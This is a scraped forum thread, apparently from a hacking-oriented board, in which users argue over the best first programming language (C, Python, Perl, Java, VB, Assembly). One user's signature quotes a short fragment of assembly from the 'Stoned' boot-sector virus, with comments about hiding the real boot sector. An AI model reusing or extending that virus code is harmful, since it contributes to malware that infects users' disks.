what up?, just wantin any advice on a good first language for me to learn. I've seen a few suggestions elsewhere. such as perl, phython,C, C+,ect... though i would like to hear from some of you guys. thanx
Laidher
Printable View
what up?, just wantin any advice on a good first language for me to learn. I've seen a few suggestions elsewhere. such as perl, phython,C, C+,ect... though i would like to hear from some of you guys. thanx
Laidher
I think Assembly is actually one of the best. In my personal opinion - I think it passes C,C++,VB...etc.
Perl, however, is also pretty good to start out with.
[P.S.- HTML, Java, and Javascript are also good 'starters']
Jump in at the deep end, C/C++ then you'll find other languages easier Im tellin you!
Python is pretty useless but its nice language to learn.
Perl is pretty useful, try learn it after C/C++.
VB is dead simple and so is Batch so if your bored go for them also.
Its a tough task but dont give up, programming is essential.
www.programmersheaven.com
go now!
I agree with WebCarnage. Learn Assembly first. It gives you a good idea of what's going on under the hood. Follow that up with C/C++. Then move on to high level languages.
You guys know Assembly, I bow to you.
I tried but gave up and stuck with good old C/C++
Assembly gets really deep!
My first programming experiences were BASIC on my TI-83 PLus calcualtor, hehehe, but hey, it worked, and all the other languages arent that hard
they do not know assembly, they like to throw around the word assembly so they can impress their peers. C and C++ are high level languages by the way. Learning Assembly will not aid you in any way in learning high level languages.
My vote is for VB cause it's very, very easy to learn, and gives you an idea about what other languages are like.
I think Java is a good language to start 'cuz you don't have to mess with pointers in the first place and creating simple Java applet is pretty easy and fun. Garbage collection is also a nice feature that makes programming much easier. Actually, my university teaches Java as an introductory language. But it's totally up to U. Just pick up one language you think "cool" and "degestable".
Hi Cohiba227 my name isQuote:
what up?, just wantin any advice on a good first language for me to learn. I've seen a few suggestions elsewhere. such as perl, phython,C, C+,ect... though i would like to hear from some of you guys. thanx
I think I can help you out This, of course, is the fundamental hacking skill. If you don't know any computer languages, I recommend starting with python It is clean designed, well documented, and kind to beginners. Despite being a good first language, it is a very powerful and flexible and well suited for large projects.Quote:
mick palmer
I don't suggest starting with visual basic because they're not portable! Visual Basic is especially awful. The fact that it's a proprietary Microsoft language is enough to disqualify it, and like other Basics it's a poorly-designed language that will teach you bad programming habits.
Try to learn perl is the language that controls many of the "back-end" parts of the web! Most hacked websites have been hacked because the webmaster or designer did not understand hot to construct "safe" CGI scripts using PERL. If that isn't a good enough reason to learn it, then I don't know what is.
If you get in to serious programming, you will have to learn C, the core language of Unix. C++ is very closely related to C; C++ is similar to C but provides object orientation to the standard C!
Then Assembly (this is very very hard to program in)!
Stoned Virus
Quote:
PUSH CS POP DS MOV SI,200H MOV DI,0 LODSW CMP AX,[DI] JNZ HIDEHD ; Hide real boot sector in hard drive. LODSW CMP AX,[DI+2] JNZ HIDEHD ;Hide real boot sector in hard drive. JUST DO IT
A good first language to learn is C because:
- It's very flexible and powerful
- It's used by heaps of people
- It's procedural (you don't have to worry about all that OOP stuff yet)
- You have to learn it at some stage (so why not get it out the way?)
A good first language to learn is C because:
- It's very flexible and powerful
- It's used by heaps of people
- It's procedural (you don't have to worry about all that OOP stuff yet)
- You have to learn it at some stage (so why not get it out the way?)
Hey Cohiba227 don't take smirc advice learn something a little bit easier. I mean seriously who first learned to program in C and if you did congratulations.
Re: I am a cracker's posts
That's a valid point. C is not the easiest language to learn to program in but it's not the hardest either. It's a lot easier to learn than Java or C++ because Object Oriented Programming brings in another level of complexity that procedural languages don't have. C was not my first language. But in retrospect I should have started there. It would have saved a lot of time unlearning bad habits.Quote:
Hey Cohiba227 don't take smirc advice learn something a little bit easier. I mean seriously who first learned to program in C and if you did congratulations.
Languages like VB are easy to learn but teach you bad habits. Python and Perl are both scripting languages. They are very good to learn but aren't much good for writing stand alone applications. Perl is awesome for scripting though.
Learning assembly for your first language is a bad idea. Assembly is very low level and the type of assembly that you learn is dependent on the instruction set used by your particular hardware. Intel's 80x86 is the most common but there are plenty of other's out there. C on the other hand can be used on just about any box. Assembly definitely should be learnt but not as a first language. As a beginner you can get too close to see the underlying concepts to really get much out of Assembly at this stage.
The only thing that I have against Python is that not many people use it. But that doesn't mean it's not valid as a language. Python is well designed and easy to learn. So by all means learn Python to begin with. Good point I am a cracker. I should have mentioned Python too :).Quote:
I recommend starting with python It is clean designed, well documented, and kind to beginners. Despite being a good first language, it is a very powerful and flexible and well suited for large projects.
How about Quenya? (Elvish) :D
Actually, come to tihnk of it, I think that someone actually made some sort of programming language that used klingon instead of english to name commands and stuff.
Everyone should learn C,C++,perl.Then again it all depends on what you want to do,if your gona be dealing
alot with *nix type computers then you should and need to learn C.To me C is like the one language that
everyone should learn.Dont listen to people when they say "C is too hard to start with"just because it was hard for them dosen't mean that it will be hard for you.
C was the first language that I learned and then C++ and to be honest they both were easy as **** (for me) so
dont believe the hype until you try it first.
Once you learn 1 language all the others should be alot easier to learn.
Crimina1
i know C C++ , and they are really nice languages.. and the best and most powerful is
assembly... but the problem is we don't get some easy and good tutorials on it..
if anybody has any good tutorials for assembly or any e-book..
pls kindly send it to me on [email protected]
i willl be very grateful to u ..
thanking u ..
intruder...
Well to start with programming one must start with C, C++ programming langauge. you will be very firm with your programming concepts, fundamentals. you will get to know more about OOPS concept in C++ programming. C is the mother of programming languages.
After that, u can go for database programming if u want. For that Oracle - RDBMS & Visual Basic will help you a lot.
So, dear friend all the best for programming.
It think the best first language to learn is Java because it is very friendly and you can learn good object oriented design.
Perl is also a great language as it is easy but gives alot of understanding.
At the end of cource, one should really make an effort to lear C or C++ but I don't get this Assembly-talk. First of all Assembly is hard as hell, second almost everything you ever want done can be done in C with half the effort.
How really cares about the performance diff when it comes to beeing productive?
Just my two cents though
hmm for a beginner?? i would say HTML and Visual Basic..
HTML is the easiest language you can learn..
then comes Visual Basic..
HTML basically gives u a rough idea in Mapping..
VB, gives u a rough idea wat other languages are like, like arguments, variables, functions and many more.. if you can do VB programs from the back of your head, you can then easily move on to the harder ones like C++.. from there.. u can then learn assembly..
though you can also try Delphi , J++, and Java.. if you can develop html and VB skills im sure u can cope with Java..
I actually have just startyed learning programming
At the moment I am learning both C++ and VB. I f you got the right teaching materials they easy as **** (for me they are). It all depends on what you wanna do.
Personally C++ is the way to go there is a good tutorial at www.cprogramming.com its got self testing, email supoport, really good for beginner (need a little bit of math but is all good)
In the end the choice is yours most are a good start for fundamentals but if ya wanna take it further probably jumping right in would be the go